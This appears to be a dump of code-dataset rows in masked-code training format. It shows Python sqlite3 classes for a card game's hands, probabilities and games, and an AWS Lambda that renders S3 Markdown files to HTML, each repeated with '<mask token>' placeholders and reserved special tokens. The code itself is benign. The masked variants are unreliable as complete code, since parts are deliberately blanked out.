'(id INTEGER PRIMARY KEY, first INTEGER,' +
'second INTEGER, third INTEGER)')
self.conn.commit()
<|reserved_special_token_0|>
def insert(self, hands):
self.cur.executemany('INSERT INTO hands VALUES (NULL,?,?,?)', hands)
self.conn.commit()
def search(self, id):
self.cur.execute('SELECT * FROM hands WHERE id=?', (id,))
row = self.cur.fetchone()
return row[1], row[2], row[3]
def __del__(self):
self.conn.close()
class DatabaseProbability(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' +
'(id INTEGER PRIMARY KEY, card INTEGER,' +
'win REAL, draw REAL, lose REAL)')
self.conn.commit()
def insert(self, probabilities):
self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)',
probabilities)
self.conn.commit()
def search(self, card):
self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,))
row = self.cur.fetchone()
return row[2], row[3], row[4]
def __del__(self):
self.conn.close()
class DatabaseGames(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute('CREATE TABLE IF NOT EXISTS games' +
'(id INTEGER PRIMARY KEY,' +
' card1 INTEGER, card2 INTEGER, card3 INTEGER,' +
' win REAL, draw REAL, lose REAL)')
self.conn.commit()
def count(self):
self.cur.execute('SELECT count(*) FROM games')
rows = self.cur.fetchone()
return rows[0]
def insert(self, card1, card2, card3, win, draw, lose):
self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)',
(card1, card2, card3, win, draw, lose))
self.conn.commit()
def view(self):
self.cur.execute('SELECT * FROM games')
rows = self.cur.fetchall()
return rows
def search(self, card1='', card2='', card3=''):
self.cur.execute('SELECT * FROM games WHERE' +
' card1=? AND card2=? AND card3=?', (card1, card2, card3))
row = self.cur.fetchone()
return row
def __del__(self):
self.conn.close()
<|reserved_special_token_1|>
import sqlite3
class DatabaseHands(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute('CREATE TABLE IF NOT EXISTS hands' +
'(id INTEGER PRIMARY KEY, first INTEGER,' +
'second INTEGER, third INTEGER)')
self.conn.commit()
def count(self):
self.cur.execute('SELECT count(*) FROM hands')
rows = self.cur.fetchone()
return rows[0]
def insert(self, hands):
self.cur.executemany('INSERT INTO hands VALUES (NULL,?,?,?)', hands)
self.conn.commit()
def search(self, id):
self.cur.execute('SELECT * FROM hands WHERE id=?', (id,))
row = self.cur.fetchone()
return row[1], row[2], row[3]
def __del__(self):
self.conn.close()
class DatabaseProbability(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' +
'(id INTEGER PRIMARY KEY, card INTEGER,' +
'win REAL, draw REAL, lose REAL)')
self.conn.commit()
def insert(self, probabilities):
self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)',
probabilities)
self.conn.commit()
def search(self, card):
self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,))
row = self.cur.fetchone()
return row[2], row[3], row[4]
def __del__(self):
self.conn.close()
class DatabaseGames(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute('CREATE TABLE IF NOT EXISTS games' +
'(id INTEGER PRIMARY KEY,' +
' card1 INTEGER, card2 INTEGER, card3 INTEGER,' +
' win REAL, draw REAL, lose REAL)')
self.conn.commit()
def count(self):
self.cur.execute('SELECT count(*) FROM games')
rows = self.cur.fetchone()
return rows[0]
def insert(self, card1, card2, card3, win, draw, lose):
self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)',
(card1, card2, card3, win, draw, lose))
self.conn.commit()
def view(self):
self.cur.execute('SELECT * FROM games')
rows = self.cur.fetchall()
return rows
def search(self, card1='', card2='', card3=''):
self.cur.execute('SELECT * FROM games WHERE' +
' card1=? AND card2=? AND card3=?', (card1, card2, card3))
row = self.cur.fetchone()
return row
def __del__(self):
self.conn.close()
<|reserved_special_token_1|>
import sqlite3
class DatabaseHands(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute("CREATE TABLE IF NOT EXISTS hands"
+ "(id INTEGER PRIMARY KEY, first INTEGER,"
+ "second INTEGER, third INTEGER)")
self.conn.commit()
def count(self):
self.cur.execute("SELECT count(*) FROM hands")
rows = self.cur.fetchone()
return rows[0]
def insert(self, hands):
self.cur.executemany("INSERT INTO hands VALUES (NULL,?,?,?)", hands)
self.conn.commit()
# def view(self):
# self.cur.execute("SELECT * FROM hands")
# rows = self.cur.fetchall()
# return rows
def search(self, id):
self.cur.execute("SELECT * FROM hands WHERE id=?", (id,))
row = self.cur.fetchone()
return (row[1], row[2], row[3])
def __del__(self):
self.conn.close()
class DatabaseProbability(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute("CREATE TABLE IF NOT EXISTS probabilities"
+ "(id INTEGER PRIMARY KEY, card INTEGER,"
+ "win REAL, draw REAL, lose REAL)")
self.conn.commit()
def insert(self, probabilities):
self.cur.executemany("INSERT INTO probabilities VALUES (NULL,?,?,?,?)",
probabilities)
self.conn.commit()
# def view(self):
# self.cur.execute("SELECT * FROM probabilities")
# rows = self.cur.fetchall()
# return rows
def search(self, card):
self.cur.execute("SELECT * FROM probabilities WHERE card=?", (card,))
row = self.cur.fetchone()
return (row[2], row[3], row[4])
def __del__(self):
self.conn.close()
class DatabaseGames(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute("CREATE TABLE IF NOT EXISTS games"
+ "(id INTEGER PRIMARY KEY,"
+ " card1 INTEGER, card2 INTEGER, card3 INTEGER,"
+ " win REAL, draw REAL, lose REAL)")
self.conn.commit()
def count(self):
self.cur.execute("SELECT count(*) FROM games")
rows = self.cur.fetchone()
return rows[0]
def insert(self, card1, card2, card3, win, draw, lose):
self.cur.execute("INSERT INTO games VALUES"
+ " (NULL,?,?,?,?,?,?)",
(card1, card2, card3, win, draw, lose))
self.conn.commit()
def view(self):
self.cur.execute("SELECT * FROM games")
rows = self.cur.fetchall()
return rows
def search(self, card1="", card2="", card3=""):
self.cur.execute("SELECT * FROM games WHERE"
+ " card1=? AND card2=? AND card3=?",
(card1, card2, card3))
row = self.cur.fetchone()
return row
def __del__(self):
self.conn.close()
|
flexible
|
{
"blob_id": "f8c85f34fb55ee1c3b3020bcec87b60ae80e4ed2",
"index": 3126,
"step-1": "<mask token>\n\n\nclass DatabaseHands(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass DatabaseProbability(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' +\n '(id INTEGER PRIMARY KEY, card INTEGER,' +\n 'win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def insert(self, probabilities):\n self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)',\n probabilities)\n self.conn.commit()\n\n def search(self, card):\n self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,))\n row = self.cur.fetchone()\n return row[2], row[3], row[4]\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseGames(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS games' +\n '(id INTEGER PRIMARY KEY,' +\n ' card1 INTEGER, card2 INTEGER, card3 INTEGER,' +\n ' win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def count(self):\n self.cur.execute('SELECT count(*) FROM games')\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, card1, card2, card3, win, draw, lose):\n self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)',\n (card1, card2, card3, win, draw, lose))\n self.conn.commit()\n\n def view(self):\n self.cur.execute('SELECT * FROM games')\n rows = self.cur.fetchall()\n return rows\n\n def search(self, card1='', card2='', card3=''):\n self.cur.execute('SELECT * FROM games WHERE' +\n ' card1=? AND card2=? AND card3=?', (card1, card2, card3))\n row = self.cur.fetchone()\n return row\n\n def __del__(self):\n self.conn.close()\n",
"step-2": "<mask token>\n\n\nclass DatabaseHands(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS hands' +\n '(id INTEGER PRIMARY KEY, first INTEGER,' +\n 'second INTEGER, third INTEGER)')\n self.conn.commit()\n <mask token>\n\n def insert(self, hands):\n self.cur.executemany('INSERT INTO hands VALUES (NULL,?,?,?)', hands)\n self.conn.commit()\n\n def search(self, id):\n self.cur.execute('SELECT * FROM hands WHERE id=?', (id,))\n row = self.cur.fetchone()\n return row[1], row[2], row[3]\n <mask token>\n\n\nclass DatabaseProbability(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' +\n '(id INTEGER PRIMARY KEY, card INTEGER,' +\n 'win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def insert(self, probabilities):\n self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)',\n probabilities)\n self.conn.commit()\n\n def search(self, card):\n self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,))\n row = self.cur.fetchone()\n return row[2], row[3], row[4]\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseGames(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS games' +\n '(id INTEGER PRIMARY KEY,' +\n ' card1 INTEGER, card2 INTEGER, card3 INTEGER,' +\n ' win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def count(self):\n self.cur.execute('SELECT count(*) FROM games')\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, card1, card2, card3, win, draw, lose):\n self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)',\n (card1, card2, card3, win, draw, lose))\n self.conn.commit()\n\n def view(self):\n self.cur.execute('SELECT * FROM games')\n rows = self.cur.fetchall()\n return rows\n\n def search(self, card1='', card2='', card3=''):\n self.cur.execute('SELECT * FROM games WHERE' +\n ' card1=? AND card2=? AND card3=?', (card1, card2, card3))\n row = self.cur.fetchone()\n return row\n\n def __del__(self):\n self.conn.close()\n",
"step-3": "<mask token>\n\n\nclass DatabaseHands(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS hands' +\n '(id INTEGER PRIMARY KEY, first INTEGER,' +\n 'second INTEGER, third INTEGER)')\n self.conn.commit()\n <mask token>\n\n def insert(self, hands):\n self.cur.executemany('INSERT INTO hands VALUES (NULL,?,?,?)', hands)\n self.conn.commit()\n\n def search(self, id):\n self.cur.execute('SELECT * FROM hands WHERE id=?', (id,))\n row = self.cur.fetchone()\n return row[1], row[2], row[3]\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseProbability(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' +\n '(id INTEGER PRIMARY KEY, card INTEGER,' +\n 'win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def insert(self, probabilities):\n self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)',\n probabilities)\n self.conn.commit()\n\n def search(self, card):\n self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,))\n row = self.cur.fetchone()\n return row[2], row[3], row[4]\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseGames(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS games' +\n '(id INTEGER PRIMARY KEY,' +\n ' card1 INTEGER, card2 INTEGER, card3 INTEGER,' +\n ' win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def count(self):\n self.cur.execute('SELECT count(*) FROM games')\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, card1, card2, card3, win, draw, lose):\n self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)',\n (card1, card2, card3, win, draw, lose))\n self.conn.commit()\n\n def view(self):\n self.cur.execute('SELECT * FROM games')\n rows = self.cur.fetchall()\n return rows\n\n def search(self, card1='', card2='', card3=''):\n self.cur.execute('SELECT * FROM games WHERE' +\n ' card1=? AND card2=? AND card3=?', (card1, card2, card3))\n row = self.cur.fetchone()\n return row\n\n def __del__(self):\n self.conn.close()\n",
"step-4": "import sqlite3\n\n\nclass DatabaseHands(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS hands' +\n '(id INTEGER PRIMARY KEY, first INTEGER,' +\n 'second INTEGER, third INTEGER)')\n self.conn.commit()\n\n def count(self):\n self.cur.execute('SELECT count(*) FROM hands')\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, hands):\n self.cur.executemany('INSERT INTO hands VALUES (NULL,?,?,?)', hands)\n self.conn.commit()\n\n def search(self, id):\n self.cur.execute('SELECT * FROM hands WHERE id=?', (id,))\n row = self.cur.fetchone()\n return row[1], row[2], row[3]\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseProbability(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' +\n '(id INTEGER PRIMARY KEY, card INTEGER,' +\n 'win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def insert(self, probabilities):\n self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)',\n probabilities)\n self.conn.commit()\n\n def search(self, card):\n self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,))\n row = self.cur.fetchone()\n return row[2], row[3], row[4]\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseGames(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS games' +\n '(id INTEGER PRIMARY KEY,' +\n ' card1 INTEGER, card2 INTEGER, card3 INTEGER,' +\n ' win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def count(self):\n self.cur.execute('SELECT count(*) FROM games')\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, card1, card2, card3, win, draw, lose):\n self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)',\n (card1, card2, card3, win, draw, lose))\n self.conn.commit()\n\n def view(self):\n self.cur.execute('SELECT * FROM games')\n rows = self.cur.fetchall()\n return rows\n\n def search(self, card1='', card2='', card3=''):\n self.cur.execute('SELECT * FROM games WHERE' +\n ' card1=? AND card2=? AND card3=?', (card1, card2, card3))\n row = self.cur.fetchone()\n return row\n\n def __del__(self):\n self.conn.close()\n",
"step-5": "import sqlite3\n\n\nclass DatabaseHands(object):\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute(\"CREATE TABLE IF NOT EXISTS hands\"\n + \"(id INTEGER PRIMARY KEY, first INTEGER,\"\n + \"second INTEGER, third INTEGER)\")\n self.conn.commit()\n\n def count(self):\n self.cur.execute(\"SELECT count(*) FROM hands\")\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, hands):\n self.cur.executemany(\"INSERT INTO hands VALUES (NULL,?,?,?)\", hands)\n self.conn.commit()\n\n # def view(self):\n # self.cur.execute(\"SELECT * FROM hands\")\n # rows = self.cur.fetchall()\n # return rows\n\n def search(self, id):\n self.cur.execute(\"SELECT * FROM hands WHERE id=?\", (id,))\n row = self.cur.fetchone()\n return (row[1], row[2], row[3])\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseProbability(object):\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute(\"CREATE TABLE IF NOT EXISTS probabilities\"\n + \"(id INTEGER PRIMARY KEY, card INTEGER,\"\n + \"win REAL, draw REAL, lose REAL)\")\n self.conn.commit()\n\n def insert(self, probabilities):\n self.cur.executemany(\"INSERT INTO probabilities VALUES (NULL,?,?,?,?)\",\n probabilities)\n self.conn.commit()\n\n # def view(self):\n # self.cur.execute(\"SELECT * FROM probabilities\")\n # rows = self.cur.fetchall()\n # return rows\n\n def search(self, card):\n self.cur.execute(\"SELECT * FROM probabilities WHERE card=?\", (card,))\n row = self.cur.fetchone()\n return (row[2], row[3], row[4])\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseGames(object):\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute(\"CREATE TABLE IF NOT EXISTS games\"\n + \"(id INTEGER PRIMARY KEY,\"\n + \" card1 INTEGER, card2 INTEGER, card3 INTEGER,\"\n + \" win REAL, draw REAL, lose REAL)\")\n self.conn.commit()\n\n def count(self):\n self.cur.execute(\"SELECT count(*) FROM games\")\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, card1, card2, card3, win, draw, lose):\n self.cur.execute(\"INSERT INTO games VALUES\"\n + \" (NULL,?,?,?,?,?,?)\",\n (card1, card2, card3, win, draw, lose))\n self.conn.commit()\n\n def view(self):\n self.cur.execute(\"SELECT * FROM games\")\n rows = self.cur.fetchall()\n return rows\n\n def search(self, card1=\"\", card2=\"\", card3=\"\"):\n self.cur.execute(\"SELECT * FROM games WHERE\"\n + \" card1=? AND card2=? AND card3=?\",\n (card1, card2, card3))\n row = self.cur.fetchone()\n return row\n\n def __del__(self):\n self.conn.close()\n",
"step-ids": [
13,
16,
17,
19,
20
]
}
|
[
13,
16,
17,
19,
20
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def lambda_handler(event, context):
for record in event['Records']:
bucket = record['s3']['bucket']['name']
key = record['s3']['object']['key']
output_key = '{}.html'.format(key[:key.rfind('.md')])
response = s3_client.get_object(Bucket=bucket, Key=key)
md_content = response['Body'].read().decode('utf-8')
print('MD ' + md_content)
extensions = ['extra', 'smarty']
html_content = markdown.markdown(md_content, extensions=extensions,
output_format='html5')
html_content_fmt = jinja2.Template(TEMPLATE).render(content=
html_content)
print('HTML ' + html_content_fmt)
encoded_html = html_content_fmt.encode('utf-8')
s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
s3_client = boto3.client('s3')
TEMPLATE = """<!DOCTYPE html>
<html>
<head>
<link href="http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css" rel="stylesheet">
<style>
body {
font-family: sans-serif;
}
code, pre {
font-family: monospace;
}
h1 code,
h2 code,
h3 code,
h4 code,
h5 code,
h6 code {
font-size: inherit;
}
</style>
</head>
<body>
<div class="container">
{{content}}
</div>
</body>
</html>
"""
def lambda_handler(event, context):
for record in event['Records']:
bucket = record['s3']['bucket']['name']
key = record['s3']['object']['key']
output_key = '{}.html'.format(key[:key.rfind('.md')])
response = s3_client.get_object(Bucket=bucket, Key=key)
md_content = response['Body'].read().decode('utf-8')
print('MD ' + md_content)
extensions = ['extra', 'smarty']
html_content = markdown.markdown(md_content, extensions=extensions,
output_format='html5')
html_content_fmt = jinja2.Template(TEMPLATE).render(content=
html_content)
print('HTML ' + html_content_fmt)
encoded_html = html_content_fmt.encode('utf-8')
s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)
<|reserved_special_token_1|>
import boto3
import jinja2
import markdown
s3_client = boto3.client('s3')
TEMPLATE = """<!DOCTYPE html>
<html>
<head>
<link href="http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css" rel="stylesheet">
<style>
body {
font-family: sans-serif;
}
code, pre {
font-family: monospace;
}
h1 code,
h2 code,
h3 code,
h4 code,
h5 code,
h6 code {
font-size: inherit;
}
</style>
</head>
<body>
<div class="container">
{{content}}
</div>
</body>
</html>
"""
def lambda_handler(event, context):
for record in event['Records']:
bucket = record['s3']['bucket']['name']
key = record['s3']['object']['key']
output_key = '{}.html'.format(key[:key.rfind('.md')])
response = s3_client.get_object(Bucket=bucket, Key=key)
md_content = response['Body'].read().decode('utf-8')
print('MD ' + md_content)
extensions = ['extra', 'smarty']
html_content = markdown.markdown(md_content, extensions=extensions,
output_format='html5')
html_content_fmt = jinja2.Template(TEMPLATE).render(content=
html_content)
print('HTML ' + html_content_fmt)
encoded_html = html_content_fmt.encode('utf-8')
s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)
<|reserved_special_token_1|>
import boto3
import jinja2
import markdown
# Instantiate S3 client
s3_client = boto3.client('s3')
# HTML style template
TEMPLATE = """<!DOCTYPE html>
<html>
<head>
<link href="http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css" rel="stylesheet">
<style>
body {
font-family: sans-serif;
}
code, pre {
font-family: monospace;
}
h1 code,
h2 code,
h3 code,
h4 code,
h5 code,
h6 code {
font-size: inherit;
}
</style>
</head>
<body>
<div class="container">
{{content}}
</div>
</body>
</html>
"""
def lambda_handler(event, context):
for record in event['Records']:
# Extract bucket and key information from S3 PutObject event
bucket = record['s3']['bucket']['name']
key = record['s3']['object']['key']
output_key = '{}.html'.format(key[:key.rfind('.md')])
# Read Markdown file content from S3 bucket
response = s3_client.get_object(Bucket=bucket, Key=key)
md_content = response['Body'].read().decode('utf-8')
print("MD " + md_content)
# Convert Markdown content to HTML
extensions = ['extra', 'smarty']
html_content = markdown.markdown(md_content, extensions=extensions, output_format='html5')
html_content_fmt = jinja2.Template(TEMPLATE).render(content=html_content)
print("HTML " + html_content_fmt)
# Encode content before uploading
encoded_html = html_content_fmt.encode("utf-8")
# Upload HTML content to S3 bucket
s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)
|
flexible
|
{
"blob_id": "3df57059539e5e3579c6dbee6be288e04b5f93b5",
"index": 3400,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef lambda_handler(event, context):\n for record in event['Records']:\n bucket = record['s3']['bucket']['name']\n key = record['s3']['object']['key']\n output_key = '{}.html'.format(key[:key.rfind('.md')])\n response = s3_client.get_object(Bucket=bucket, Key=key)\n md_content = response['Body'].read().decode('utf-8')\n print('MD ' + md_content)\n extensions = ['extra', 'smarty']\n html_content = markdown.markdown(md_content, extensions=extensions,\n output_format='html5')\n html_content_fmt = jinja2.Template(TEMPLATE).render(content=\n html_content)\n print('HTML ' + html_content_fmt)\n encoded_html = html_content_fmt.encode('utf-8')\n s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)\n",
"step-3": "<mask token>\ns3_client = boto3.client('s3')\nTEMPLATE = \"\"\"<!DOCTYPE html>\n<html>\n<head>\n <link href=\"http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css\" rel=\"stylesheet\">\n <style>\n body {\n font-family: sans-serif;\n }\n code, pre {\n font-family: monospace;\n }\n h1 code,\n h2 code,\n h3 code,\n h4 code,\n h5 code,\n h6 code {\n font-size: inherit;\n }\n </style>\n</head>\n<body>\n<div class=\"container\">\n{{content}}\n</div>\n</body>\n</html>\n\"\"\"\n\n\ndef lambda_handler(event, context):\n for record in event['Records']:\n bucket = record['s3']['bucket']['name']\n key = record['s3']['object']['key']\n output_key = '{}.html'.format(key[:key.rfind('.md')])\n response = s3_client.get_object(Bucket=bucket, Key=key)\n md_content = response['Body'].read().decode('utf-8')\n print('MD ' + md_content)\n extensions = ['extra', 'smarty']\n html_content = markdown.markdown(md_content, extensions=extensions,\n output_format='html5')\n html_content_fmt = jinja2.Template(TEMPLATE).render(content=\n html_content)\n print('HTML ' + html_content_fmt)\n encoded_html = html_content_fmt.encode('utf-8')\n s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)\n",
"step-4": "import boto3\nimport jinja2\nimport markdown\ns3_client = boto3.client('s3')\nTEMPLATE = \"\"\"<!DOCTYPE html>\n<html>\n<head>\n <link href=\"http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css\" rel=\"stylesheet\">\n <style>\n body {\n font-family: sans-serif;\n }\n code, pre {\n font-family: monospace;\n }\n h1 code,\n h2 code,\n h3 code,\n h4 code,\n h5 code,\n h6 code {\n font-size: inherit;\n }\n </style>\n</head>\n<body>\n<div class=\"container\">\n{{content}}\n</div>\n</body>\n</html>\n\"\"\"\n\n\ndef lambda_handler(event, context):\n for record in event['Records']:\n bucket = record['s3']['bucket']['name']\n key = record['s3']['object']['key']\n output_key = '{}.html'.format(key[:key.rfind('.md')])\n response = s3_client.get_object(Bucket=bucket, Key=key)\n md_content = response['Body'].read().decode('utf-8')\n print('MD ' + md_content)\n extensions = ['extra', 'smarty']\n html_content = markdown.markdown(md_content, extensions=extensions,\n output_format='html5')\n html_content_fmt = jinja2.Template(TEMPLATE).render(content=\n html_content)\n print('HTML ' + html_content_fmt)\n encoded_html = html_content_fmt.encode('utf-8')\n s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)\n",
"step-5": "import boto3\nimport jinja2\nimport markdown\n\n# Instantiate S3 client\ns3_client = boto3.client('s3')\n\n# HTML style template\nTEMPLATE = \"\"\"<!DOCTYPE html>\n<html>\n<head>\n <link href=\"http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css\" rel=\"stylesheet\">\n <style>\n body {\n font-family: sans-serif;\n }\n code, pre {\n font-family: monospace;\n }\n h1 code,\n h2 code,\n h3 code,\n h4 code,\n h5 code,\n h6 code {\n font-size: inherit;\n }\n </style>\n</head>\n<body>\n<div class=\"container\">\n{{content}}\n</div>\n</body>\n</html>\n\"\"\"\n\n\ndef lambda_handler(event, context):\n\n for record in event['Records']:\n # Extract bucket and key information from S3 PutObject event\n bucket = record['s3']['bucket']['name']\n key = record['s3']['object']['key']\n output_key = '{}.html'.format(key[:key.rfind('.md')])\n\n # Read Markdown file content from S3 bucket\n response = s3_client.get_object(Bucket=bucket, Key=key)\n md_content = response['Body'].read().decode('utf-8')\n print(\"MD \" + md_content)\n\n # Convert Markdown content to HTML\n extensions = ['extra', 'smarty']\n html_content = markdown.markdown(md_content, extensions=extensions, output_format='html5')\n html_content_fmt = jinja2.Template(TEMPLATE).render(content=html_content)\n print(\"HTML \" + html_content_fmt)\n\n # Encode content before uploading\n encoded_html = html_content_fmt.encode(\"utf-8\")\n # Upload HTML content to S3 bucket\n s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.